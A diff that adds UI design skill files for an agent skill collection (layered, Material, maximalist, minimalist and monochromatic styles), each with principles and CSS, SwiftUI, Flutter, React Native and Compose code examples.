height stack or use constraints + child: Stack( + children: [ + // Background Image Layer + Positioned( + top: 0, + right: -40, // Shifted offscreen right + width: MediaQuery.of(context).size.width * 0.8, + height: 400, + child: Image.asset('assets/architectural-bg.jpg', fit: BoxFit.cover), + ), + + // Content Card Layer + Positioned( + top: 250, // Overlaps the bottom of the image + left: 20, // Overlaps the left of the image + width: MediaQuery.of(context).size.width * 0.7, + child: Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white, + boxShadow: [ + BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 30, offset: const Offset(0, 20)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Stacking Context', style: TextStyle(fontSize: 32, fontWeight: FontWeight.bold)), + SizedBox(height: 16), + Text('This card intentionally overlaps the background image.', style: TextStyle(color: Colors.grey)), + ], + ), + ), + ), + ], + ), + ), + ), + ); + } +} +``` +- The `Stack` widget with `Positioned` children is required. +- You can use negative values in `Positioned` (e.g., `right: -40`) to bleed layers off the edge of the screen, which is a common trope in layered design. + +### React Native +```jsx +const LayeredDesignScreen = () => { + return ( + <ScrollView style={{ flex: 1, backgroundColor: '#F8F8F8' }}> + <View style={{ height: 600 }}> + + {/* Background Image Layer */} + <Image + source={{ uri: 'https://example.com/architectural-bg.jpg' }} + style={{ + position: 'absolute', + top: 0, + right: -40, + width: '80%', + height: 400, + zIndex: 1, + }} + /> + + {/* Content Card Layer */} + <View style={{ + position: 'absolute', + top: 250, + left: 20, + width: '70%', + backgroundColor: '#FFF', + padding: 40, + zIndex: 2, + // Deep shadow to separate the layers + shadowColor: '#000', shadowOffset: { width: 0, height: 20 }, + shadowOpacity: 0.1, shadowRadius: 30, elevation: 15, + }}> + <Text style={{ fontSize: 32, fontWeight: 'bold', marginBottom: 16 }}>Stacking Context</Text> + <Text style={{ color: '#666' }}>This card intentionally overlaps the background image.</Text> + </View> + + </View> + </ScrollView> + ); +}; +``` +- Heavy use of `position: 'absolute'` inside a relative container. +- Manage `zIndex` explicitly. Note that on Android, `elevation` also controls Z-indexing, so the card must have a higher `elevation` than the image. + +### Jetpack Compose +```kotlin +@Composable +fun LayeredDesignScreen() { + Column(modifier = Modifier.verticalScroll(rememberScrollState())) { + Box(modifier = Modifier.height(600.dp).fillMaxWidth()) { + + // Background Image Layer + Image( + painter = painterResource(id = R.drawable.architectural_bg), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier + .align(Alignment.TopEnd) + .offset(x = 40.dp) // Bleed off right edge + .width(300.dp) + .height(400.dp) + .zIndex(1f) + ) + + // Content Card Layer + Box( + modifier = Modifier + .align(Alignment.TopStart) + .offset(x = 20.dp, y = 250.dp) // Overlap the image + .width(280.dp) + .zIndex(2f) + .shadow(30.dp) + .background(Color.White) + .padding(40.dp) + ) { + Column { + Text("Stacking Context", fontSize = 32.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(16.dp)) + Text("This card intentionally overlaps the background image.", color = Color.Gray) + } + } + } + } +} +``` +- `Box` acts as your stack. +- Use `Modifier.align()` to set the baseline position, then `Modifier.offset()` to push it out of grid alignment. +- `Modifier.zIndex()` ensures the content card always renders on top of the image. + +## Do's and Don'ts +- **DO**: Use contrasting colors or drop shadows where layers intersect so the boundary is clear. +- **DON'T**: Trap interactive elements (like buttons) underneath other layers where they cannot be clicked. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/material-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/material-design/SKILL.md new file mode 100644 index 00000000..c31ead1a --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/material-design/SKILL.md @@ -0,0 +1,275 @@ +--- +name: material-design +description: Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Material Design + +> "Digital paper and ink. Interfaces built on the physical properties of stacked material." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Z-Axis Elevation**: Everything exists on a specific layer. Shadows communicate hierarchy and state. +2. **Meaningful Motion**: Animations are continuous, guiding the user's focus from one state to the next (e.g., ripple effects, shared element transitions). +3. **Structured Layout**: Strict adherence to an 8dp baseline grid and specific component anatomies (cards, FABs, app bars). + +## Visual DNA +- **Colors**: Works excellently with **Desert Mirage** or **Minimalist Slate**. Utilize primary, secondary, surface, and error semantic mapping. +- **Typography**: `Roboto` or `Google Sans` (or equivalent clean geometric sans). Stick strictly to the Material Type Scale (H1-H6, Subtitle, Body, Caption, Overline). +- **Shapes**: Moderately rounded corners (4px to 16px). + +## Web Implementation +- Do not reinvent the wheel: mimic standard Material elevations. +- **CSS Example**: +```css +.material-card { + background: var(--bg-surface); + border-radius: 8px; + padding: 16px; + /* Material Elevation 2 */ + box-shadow: 0 3px 1px -2px rgba(0,0,0,0.2), + 0 2px 2px 0 rgba(0,0,0,0.14), + 0 1px 5px 0 rgba(0,0,0,0.12); + transition: box-shadow 0.28s cubic-bezier(0.4, 0, 0.2, 1); +} + +.material-btn { + text-transform: uppercase; + font-weight: 500; + letter-spacing: 1.25px; + padding: 0 16px; + height: 36px; + border-radius: 4px; + background: var(--cta-highlight); + color: #fff; + border: none; + /* Ripple effect is usually handled via JS, but structure is key */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MaterialCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Material Card") + .font(.system(size: 20, weight: .medium)) + Text("Digital paper and ink. Shadows communicate where this surface sits.") + .font(.system(size: 14)) + .foregroundColor(.secondary) + HStack { + Spacer() + Button("ACTION") {} + .font(.system(size: 14, weight: .medium)) + .foregroundColor(.accentColor) + .padding(.horizontal, 12) + .padding(.vertical, 8) + } + } + .padding(16) + .background(Color(.systemBackground)) + .cornerRadius(8) + // Material Elevation 2 equivalent + .shadow(color: Color.black.opacity(0.12), radius: 3, x: 0, y: 1) + .shadow(color: Color.black.opacity(0.08), radius: 2, x: 0, y: 2) + } +} + +// Material FAB +struct MaterialFAB: View { + var body: some View { + Button(action: {}) { + Image(systemName: "plus") + .font(.system(size: 24)) + .foregroundColor(.white) + .frame(width: 56, height: 56) + .background(Color.accentColor) + .cornerRadius(16) + .shadow(color: Color.black.opacity(0.2), radius: 6, x: 0, y: 3) + .shadow(color: Color.black.opacity(0.14), radius: 4, x: 0, y: 2) + } + } +} +``` +- Emulate Material elevation levels by stacking multiple `.shadow()` modifiers at different blur/offset values. +- Use `.cornerRadius(8...16)` — Material Design 3 uses more rounded shapes than M2. +- Animate shadow changes using `.animation(.easeInOut(duration: 0.28))` — Material uses 280ms transitions. + +### Flutter +```dart +// Flutter IS Material Design — use it natively +class MaterialScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + theme: ThemeData( + useMaterial3: true, + colorSchemeSeed: const Color(0xFF6750A4), // Material You seed + // Map your universal palette here + ), + home: Scaffold( + appBar: AppBar( + title: const Text('Material Design'), + // M3 appbar elevation is 0 by default, scrolled = 3 + ), + body: Padding( + padding: const EdgeInsets.all(16), + child: Card( + elevation: 2, + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)), + child: Padding( + padding: const EdgeInsets.all(16), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: [ + Text('Material Card', + style: Theme.of(context).textTheme.titleLarge), + const SizedBox(height: 8), + Text('Digital paper and ink.', + style: Theme.of(context).textTheme.bodyMedium), + const SizedBox(height: 16), + Align( + alignment: Alignment.centerRight, + child: TextButton( + onPressed: () {}, + child: const Text('ACTION'), + ), + ), + ], + ), + ), + ), + ), + floatingActionButton: FloatingActionButton( + onPressed: () {}, + child: const Icon(Icons.add), + // M3 FAB automatically gets correct elevation & shape + ), + ), + ); + } +} +``` +- **Flutter is the native home of Material Design.** Use `MaterialApp`, `ThemeData(useMaterial3: true)`, and standard widgets. +- Map the universal palette via `colorSchemeSeed` or manually build a `ColorScheme`. +- Use the Material type scale via `Theme.of(context).textTheme`. +- Ripple effects come free with `InkWell` and `ElevatedButton`. + +### React Native +```jsx +import { Provider as PaperProvider, Card, Button, Title, Paragraph } from 'react-native-paper'; + +const materialTheme = { + ...DefaultTheme, + roundness: 8, + colors: { + ...DefaultTheme.colors, + primary: '#6750A4', // Material You purple + surface: '#FFFBFE', + background: '#FFFBFE', + }, +}; + +const MaterialScreen = () => ( + <PaperProvider theme={materialTheme}> + <ScrollView style={{ flex: 1, padding: 16 }}> + <Card style={{ marginBottom: 16 }} elevation={2}> + <Card.Content> + <Title>Material Card + Digital paper and ink. Shadows communicate hierarchy. + + + + + + + {/* Filled button — Material M3 style */} + + + +); +``` +- Use `react-native-paper` — it implements Material Design 3 natively for React Native. +- Configure the theme to map your universal palettes to Material semantic colors. +- Use `Card` (with `elevation` prop), `Button` (with `mode` prop), and `TextInput` for correct Material behavior. +- Ripple effects on Android come free via `Pressable`; on iOS, use `react-native-paper`'s `TouchableRipple`. + +### Jetpack Compose +```kotlin +// Jetpack Compose IS Material Design — use it natively +@Composable +fun MaterialScreen() { + MaterialTheme( + colorScheme = lightColorScheme( + primary = Color(0xFF6750A4), + onPrimary = Color.White, + surface = Color(0xFFFFFBFE), + ), + typography = Typography( + titleLarge = TextStyle(fontSize = 22.sp, fontWeight = FontWeight.Medium), + bodyMedium = TextStyle(fontSize = 14.sp, lineHeight = 20.sp), + ), + ) { + Scaffold( + topBar = { + TopAppBar(title = { Text("Material Design") }) + }, + floatingActionButton = { + FloatingActionButton(onClick = {}) { + Icon(Icons.Default.Add, contentDescription = "Add") + } + }, + ) { padding -> + Column(modifier = Modifier.padding(padding).padding(16.dp)) { + Card( + modifier = Modifier.fillMaxWidth(), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp), + shape = RoundedCornerShape(12.dp), + ) { + Column(modifier = Modifier.padding(16.dp)) { + Text("Material Card", + style = MaterialTheme.typography.titleLarge) + Spacer(Modifier.height(8.dp)) + Text("Digital paper and ink.", + style = MaterialTheme.typography.bodyMedium) + Spacer(Modifier.height(16.dp)) + TextButton( + onClick = {}, + modifier = Modifier.align(Alignment.End), + ) { Text("ACTION") } + } + } + } + } + } +} +``` +- **Jetpack Compose is Material Design.** Use `MaterialTheme`, `Card`, `Scaffold`, `TopAppBar`, and `FloatingActionButton` as-is. +- Map the universal palette into `lightColorScheme()` or `darkColorScheme()`. +- Use `MaterialTheme.typography` for the complete type scale. +- Motion uses `animateFloatAsState` with Material easing: `FastOutSlowInEasing` (equivalent to `cubic-bezier(0.4, 0.0, 0.2, 1)`). + +## Do's and Don'ts +- **DO**: Use the standard Material easing curves for animations (`cubic-bezier(0.4, 0.0, 0.2, 1)`). +- **DON'T**: Mix overlapping shadows arbitrarily. Elements should clearly sit 'above' or 'below' others. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/maximalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/maximalism/SKILL.md new file mode 100644 index 00000000..4afff8b6 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/maximalism/SKILL.md @@ -0,0 +1,297 @@ +--- +name: maximalism +description: Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Controlled Maximalism + +> "Dense and rich, but deeply intentional. Like an exquisitely curated museum of artifacts." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **High Density**: The screen is packed with information, imagery, and interactive elements. +2. **Ornate Detailing**: Use of decorative borders, intricate textures, and classic design flourishes. +3. **Structured Chaos**: Unlike Vibrant Maximalism, the layout here is based on a strict underlying grid that holds the massive amount of content together. + +## Visual DNA +- **Colors**: **Monochromatic Brown**, **Yacht Club**, or rich jewel tones (emerald, ruby, sapphire, gold). +- **Typography**: Ornate serifs (like `Cinzel` or `Playfair Display`) paired with dense, highly legible sans-serif body copy. +- **Borders & Dividers**: Extensive use of thin, elegant lines separating every piece of content. + +## Web Implementation +- Use dense CSS Grid layouts. +- **CSS Example**: +```css +body { + background-color: #0F172A; /* Deep slate */ + color: #E2E8F0; + background-image: url('subtle-damask-pattern.png'); +} + +.max-grid { + display: grid; + grid-template-columns: repeat(6, 1fr); + gap: 16px; + padding: 16px; +} + +.max-item { + background-color: rgba(30, 41, 59, 0.9); /* Semi-transparent over pattern */ + border: 1px solid #475569; + padding: 24px; +} + +/* Ornate decorative borders */ +.max-feature { + grid-column: span 3; + border: 2px solid #D4AF37; /* Gold */ + position: relative; +} + +.max-feature::before { + content: ''; + position: absolute; + top: 4px; left: 4px; right: 4px; bottom: 4px; + border: 1px dashed #D4AF37; +} + +.max-title { + font-family: 'Cinzel', serif; + color: #D4AF37; + font-size: 2.5rem; + text-align: center; + border-bottom: 1px solid #475569; + padding-bottom: 16px; + margin-bottom: 16px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MaximalismView: View { + let columns = [ + GridItem(.flexible(), spacing: 4), + GridItem(.flexible(), spacing: 4), + GridItem(.flexible(), spacing: 4) + ] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 4) { + // Feature span + MaxItem(title: "MUSEUM", isFeature: true) + // Dense data blocks + MaxItem(title: "1892") + MaxItem(title: "Vol. II") + MaxItem(title: "Arch") + MaxItem(title: "Index") + } + .padding(16) + } + .background(Color(hex: "0F172A")) // Deep slate + } +} + +struct MaxItem: View { + let title: String + var isFeature: Bool = false + + var body: some View { + VStack { + Text(title) + .font(.custom("Cinzel", size: isFeature ? 28 : 14)) + .foregroundColor(Color(hex: "D4AF37")) // Gold + .padding() + } + .frame(maxWidth: .infinity, minHeight: isFeature ? 150 : 80) + .background(Color(hex: "1E293B").opacity(0.9)) + .border(Color(hex: "475569"), width: 1) + .overlay( + // Ornate internal dashed border for the feature item + Group { + if isFeature { + Rectangle() + .stroke(style: StrokeStyle(lineWidth: 1, dash: [4])) + .foregroundColor(Color(hex: "D4AF37")) + .padding(4) + } + } + ) + } +} +``` +- A `LazyVGrid` with very tight `spacing` (e.g., `4`) creates the necessary density. +- Extensive use of `.border` and `.overlay(Rectangle().stroke(...))` to box in every piece of data, mimicking ornate framing. + +### Flutter +```dart +class MaximalismScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF0F172A), + body: GridView.count( + crossAxisCount: 3, + padding: const EdgeInsets.all(16), + mainAxisSpacing: 4, + crossAxisSpacing: 4, + children: [ + // Flutter's standard GridView doesn't span columns easily. + // In a real app, use the `flutter_staggered_grid_view` package. + _buildItem('1892'), + _buildItem('Vol. II'), + _buildItem('Arch'), + _buildItem('Index', isOrnate: true), + _buildItem('04'), + _buildItem('XII'), + ], + ), + ); + } + + Widget _buildItem(String title, {bool isOrnate = false}) { + return Container( + decoration: BoxDecoration( + color: const Color(0xFF1E293B).withOpacity(0.9), + border: Border.all(color: const Color(0xFF475569), width: 1), + ), + child: Stack( + children: [ + if (isOrnate) + Positioned.fill( + child: Padding( + padding: const EdgeInsets.all(4.0), + // Requires path_drawing or custom painter for dashed borders natively + child: Container( + decoration: BoxDecoration(border: Border.all(color: const Color(0xFFD4AF37), width: 1)), + ), + ), + ), + Center( + child: Text( + title, + style: const TextStyle(fontFamily: 'Cinzel', color: Color(0xFFD4AF37), fontSize: 16), + ), + ), + ], + ), + ); + } +} +``` +- Use `flutter_staggered_grid_view` to create the complex, spanning "masonry" or architectural grid layouts typical of maximalism. +- Use `Stack` with `Positioned.fill` and `Padding` to create double-bordered framing effects. + +### React Native +```jsx +const MaximalismScreen = () => { + return ( + + + + {/* Feature Item spanning full width */} + + + MUSEUM + + + + {/* Small Dense Items */} + 1892 + Vol. II + Arch + + + ); +}; + +const styles = StyleSheet.create({ + item: { + backgroundColor: 'rgba(30, 41, 59, 0.9)', + borderColor: '#475569', borderWidth: 1, + height: 100, justifyContent: 'center', alignItems: 'center' + }, + featureItem: { + width: '100%', height: 200, padding: 4, + }, + ornateInnerBorder: { + flex: 1, width: '100%', + borderColor: '#D4AF37', borderWidth: 1, borderStyle: 'dashed', + justifyContent: 'center', alignItems: 'center' + }, + text: { + fontFamily: 'Cinzel-Regular', color: '#D4AF37', fontSize: 16 + } +}); +``` +- A `flexWrap: 'wrap'` container with percentage widths (e.g., `32%` for 3 columns) is the easiest way to build complex, dense grids in React Native. +- Use `borderStyle: 'dashed'` combined with a solid outer border to create ornate framing. + +### Jetpack Compose +```kotlin +@Composable +fun MaximalismScreen() { + LazyVerticalGrid( + columns = GridCells.Fixed(3), + modifier = Modifier.fillMaxSize().background(Color(0xFF0F172A)).padding(16.dp), + horizontalArrangement = Arrangement.spacedBy(4.dp), + verticalArrangement = Arrangement.spacedBy(4.dp) + ) { + // Feature spanning all 3 columns + item(span = { GridItemSpan(3) }) { + MaxItem("MUSEUM", isFeature = true) + } + // Dense items + items(6) { index -> + MaxItem("Item $index") + } + } +} + +@Composable +fun MaxItem(title: String, isFeature: Boolean = false) { + Box( + modifier = Modifier + .height(if (isFeature) 200.dp else 100.dp) + .background(Color(0xFF1E293B).copy(alpha = 0.9f)) + .border(1.dp, Color(0xFF475569)) + .padding(4.dp), + contentAlignment = Alignment.Center + ) { + if (isFeature) { + // Ornate inner border + Box( + modifier = Modifier + .fillMaxSize() + .border(1.dp, Color(0xFFD4AF37), shape = RoundedCornerShape(0.dp)) + // Note: Dashed borders require a custom drawBehind modifier in Compose + ) + } + Text( + text = title, + color = Color(0xFFD4AF37), + fontFamily = FontFamily.Serif, // Replace with custom Cinzel font + fontSize = if (isFeature) 32.sp else 16.sp + ) + } +} +``` +- `LazyVerticalGrid` with `GridCells.Fixed(3)` is perfect. +- Use `GridItemSpan(3)` for the hero elements to make them span the full width, mimicking editorial or museum layouts. + +## Do's and Don'ts +- **DO**: Treat every pixel as valuable real estate. Frame everything. +- **DON'T**: Let it become unreadable. The contrast between text and background must remain high despite the density. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/minimalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/minimalism/SKILL.md new file mode 100644 index 00000000..172c6d21 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/minimalism/SKILL.md @@ -0,0 +1,267 @@ +--- +name: minimalism +description: Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Minimalism + +> "Less is more. Remove until nothing is left but the essential." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Extreme Whitespace**: Margins and padding should be double what you initially think is appropriate. +2. **Strict Typography**: Rely on font weights and sizes to establish hierarchy, not colors or boxes. +3. **Absence of Decor**: No borders, no drop shadows, no background textures. + +## Visual DNA +- **Colors**: Best paired with **Minimalist Slate** or **Modern Editorial** palettes. Backgrounds must be absolute (pure or off-white/black). +- **Typography**: Sans-serif, geometric. (e.g., `Inter`, `Helvetica Neue`, `SF Pro`). Use extreme contrast in weights (Thin vs Black). +- **Spacing**: Use a generous baseline grid (e.g., multiples of 8px, heavily favoring 48px to 120px padding). + +## Web Implementation +- Use Flexbox/Grid with large `gap` properties. +- **CSS Example**: +```css +.minimal-container { + max-width: 800px; + margin: 0 auto; + padding: 120px 24px; + background-color: var(--bg-primary); +} +.minimal-title { + font-size: 3rem; + font-weight: 300; + letter-spacing: -0.02em; + margin-bottom: 48px; +} +.minimal-btn { + background: transparent; + border: 1px solid var(--text-primary); + padding: 16px 32px; + text-transform: uppercase; + letter-spacing: 0.1em; + transition: all 0.3s ease; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MinimalView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 48) { + Text("Headline") + .font(.system(size: 34, weight: .light)) + .tracking(-0.5) + + Text("Body text sits quietly with generous space around it. Let the content breathe.") + .font(.system(size: 17, weight: .regular)) + .foregroundColor(.secondary) + .lineSpacing(6) + + // Minimal button — just a thin border, no fill + Button(action: {}) { + Text("Continue") + .font(.system(size: 14, weight: .medium)) + .tracking(1.5) + .textCase(.uppercase) + .padding(.horizontal, 32) + .padding(.vertical, 16) + .overlay( + RoundedRectangle(cornerRadius: 0) + .stroke(Color.primary, lineWidth: 1) + ) + } + } + .padding(.horizontal, 24) + .padding(.vertical, 80) + } + .background(Color(.systemBackground)) + } +} +``` +- Use `VStack(spacing: 40...64)` for generous separation between elements. +- Never use `.shadow()` or `Card`-like containers. Let whitespace define grouping. +- Use `Divider()` sparingly — only when two adjacent sections need separation. + +### Flutter +```dart +class MinimalScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: SingleChildScrollView( + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 80), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Headline', + style: TextStyle( + fontSize: 34, + fontWeight: FontWeight.w300, + letterSpacing: -0.5, + color: Colors.black87, + ), + ), + const SizedBox(height: 48), + Text( + 'Body text sits quietly with generous space around it.', + style: TextStyle( + fontSize: 17, + fontWeight: FontWeight.w400, + height: 1.6, + color: Colors.black54, + ), + ), + const SizedBox(height: 48), + // Minimal button — outlined, no elevation + OutlinedButton( + onPressed: () {}, + style: OutlinedButton.styleFrom( + side: const BorderSide(color: Colors.black87, width: 1), + shape: const RoundedRectangleBorder(borderRadius: BorderRadius.zero), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + ), + child: Text( + 'CONTINUE', + style: TextStyle( + fontSize: 14, + fontWeight: FontWeight.w500, + letterSpacing: 1.5, + color: Colors.black87, + ), + ), + ), + ], + ), + ), + ); + } +} +``` +- Set `elevation: 0` on **all** Material widgets (`AppBar`, `Card`, `FloatingActionButton`). +- Use `SizedBox(height: 48)` or larger for vertical spacing. Avoid tight layouts. +- Override `ThemeData` to remove all default shadows: `cardTheme: CardTheme(elevation: 0)`. + +### React Native +```jsx +const MinimalScreen = () => ( + + + Headline + + + + Body text sits quietly with generous space around it. + + + + + Continue + + + +); +``` +- Use `paddingVertical: 80` for screen-level spacing. Double what feels natural. +- Avoid all `elevation` and `shadowColor` properties. No `borderRadius` on cards. +- If using a UI library (e.g., React Native Paper), strip default elevations. + +### Jetpack Compose +```kotlin +@Composable +fun MinimalScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .verticalScroll(rememberScrollState()) + .padding(horizontal = 24.dp, vertical = 80.dp) + ) { + Text( + text = "Headline", + fontSize = 34.sp, + fontWeight = FontWeight.Light, + letterSpacing = (-0.5).sp, + color = Color(0xFF1A1A1A), + ) + Spacer(modifier = Modifier.height(48.dp)) + Text( + text = "Body text sits quietly with generous space around it.", + fontSize = 17.sp, + fontWeight = FontWeight.Normal, + lineHeight = 28.sp, + color = Color(0xFF666666), + ) + Spacer(modifier = Modifier.height(48.dp)) + // Minimal outlined button + OutlinedButton( + onClick = {}, + shape = RectangleShape, + border = BorderStroke(1.dp, Color(0xFF1A1A1A)), + colors = ButtonDefaults.outlinedButtonColors(containerColor = Color.Transparent), + contentPadding = PaddingValues(horizontal = 32.dp, vertical = 16.dp), + ) { + Text( + text = "CONTINUE", + fontSize = 14.sp, + fontWeight = FontWeight.Medium, + letterSpacing = 1.5.sp, + color = Color(0xFF1A1A1A), + ) + } + } +} +``` +- Set `elevation = 0.dp` on all `Card`, `TopAppBar`, and `FloatingActionButton` composables. +- Use `Spacer(modifier = Modifier.height(48.dp))` consistently for generous vertical gaps. +- Override `MaterialTheme` shape and shadow defaults to remove all depth cues. + +## Do's and Don'ts +- **DO**: Focus intensely on alignment. A 1px misalignment breaks the illusion of minimalism. +- **DON'T**: Use "card" wrappers for content. Let the whitespace define the grouping. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/monochromatic-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/monochromatic-ui/SKILL.md new file mode 100644 index 00000000..6bace448 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/monochromatic-ui/SKILL.md @@ -0,0 +1,296 @@ +--- +name: monochromatic-ui +description: Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Monochromatic UI + +> "Elegance through constraint. A single hue, explored through all its tints, tones, and shades." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Single Hue**: Choose one base color (e.g., deep blue). The entire UI is built using lighter (tints) and darker (shades) versions of that exact hue. +2. **High Contrast for Legibility**: The darkest shade and the lightest tint must have enough contrast to pass accessibility standards when placed together. +3. **Texture over Color**: Since color is restricted, use subtle textures, patterns, or varying opacities to differentiate sections. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or pick one dominant hue from **Earth-Grounded Elegance** and extrapolate it. +- **Typography**: Clean and unobtrusive. The layout relies heavily on font weights to establish hierarchy since color cannot. +- **Shadows**: Shadows must be tinted with the base hue, never pure black. + +## Web Implementation +- Use HSL (Hue, Saturation, Lightness) heavily in CSS to make building the palette easy. +- **CSS Example**: +```css +:root { + /* Base Hue: Deep Blue (210) */ + --mono-900: hsl(210, 80%, 10%); /* Very dark */ + --mono-700: hsl(210, 70%, 30%); /* Dark */ + --mono-500: hsl(210, 60%, 50%); /* Base */ + --mono-300: hsl(210, 50%, 80%); /* Light */ + --mono-100: hsl(210, 40%, 95%); /* Very light background */ +} + +body { + background-color: var(--mono-100); + color: var(--mono-900); + font-family: 'Inter', sans-serif; +} + +.mono-card { + background-color: #ffffff; /* Or mono-100 */ + border: 1px solid var(--mono-300); + border-radius: 8px; + padding: 32px; + /* Tinted shadow */ + box-shadow: 0 10px 25px hsla(210, 80%, 10%, 0.05); +} + +.mono-btn { + background-color: var(--mono-500); + color: #ffffff; + border: none; + border-radius: 4px; + padding: 12px 24px; + transition: background-color 0.2s; +} + +.mono-btn:hover { + background-color: var(--mono-700); +} + +.mono-subtext { + color: var(--mono-500); /* Use mid-tones for secondary text */ + font-weight: 500; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MonochromaticView: View { + // Base Hue: Deep Blue (210 in 360-degree HSB/HSL) + // In SwiftUI, hue is 0.0 to 1.0 (210/360 = 0.58) + let mono900 = Color(hue: 0.58, saturation: 0.80, brightness: 0.10) + let mono700 = Color(hue: 0.58, saturation: 0.70, brightness: 0.30) + let mono500 = Color(hue: 0.58, saturation: 0.60, brightness: 0.50) + let mono300 = Color(hue: 0.58, saturation: 0.50, brightness: 0.80) + let mono100 = Color(hue: 0.58, saturation: 0.40, brightness: 0.95) + + var body: some View { + VStack(spacing: 24) { + // Card + VStack(alignment: .leading, spacing: 12) { + Text("Monochromatic Elegance") + .font(.title2).fontWeight(.semibold) + .foregroundColor(mono900) + + Text("Using only variations in saturation and brightness of a single hue.") + .foregroundColor(mono500) + } + .padding(32) + .background(Color.white) + .border(mono300, width: 1) + .shadow(color: mono900.opacity(0.1), radius: 15, y: 5) // Tinted shadow + + // Button + Button(action: {}) { + Text("Primary Action") + .fontWeight(.bold) + .foregroundColor(.white) + .frame(maxWidth: .infinity) + .padding() + .background(mono500) + .cornerRadius(8) + } + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(mono100) + } +} +``` +- Define your colors using `Color(hue: saturation: brightness:)`. This ensures math-perfect monochromatic harmony. +- *Always* tint your drop shadows with your `mono900` color. Pure black shadows look dirty in a strict monochromatic UI. + +### Flutter +```dart +class MonochromaticScreen extends StatelessWidget { + // Base Hue: Deep Blue (210) + // Flutter HSVColor uses Hue 0-360, Saturation 0.0-1.0, Value 0.0-1.0 + final Color mono900 = const HSVColor.fromAHSV(1.0, 210, 0.80, 0.10).toColor(); + final Color mono500 = const HSVColor.fromAHSV(1.0, 210, 0.60, 0.50).toColor(); + final Color mono300 = const HSVColor.fromAHSV(1.0, 210, 0.50, 0.80).toColor(); + final Color mono100 = const HSVColor.fromAHSV(1.0, 210, 0.40, 0.95).toColor(); + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: mono100, + body: Center( + child: Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + border: Border.all(color: mono300), + borderRadius: BorderRadius.circular(8), + boxShadow: [ + BoxShadow(color: mono900.withOpacity(0.1), blurRadius: 15, offset: const Offset(0, 5)) + ], + ), + child: Column( + crossAxisAlignment: 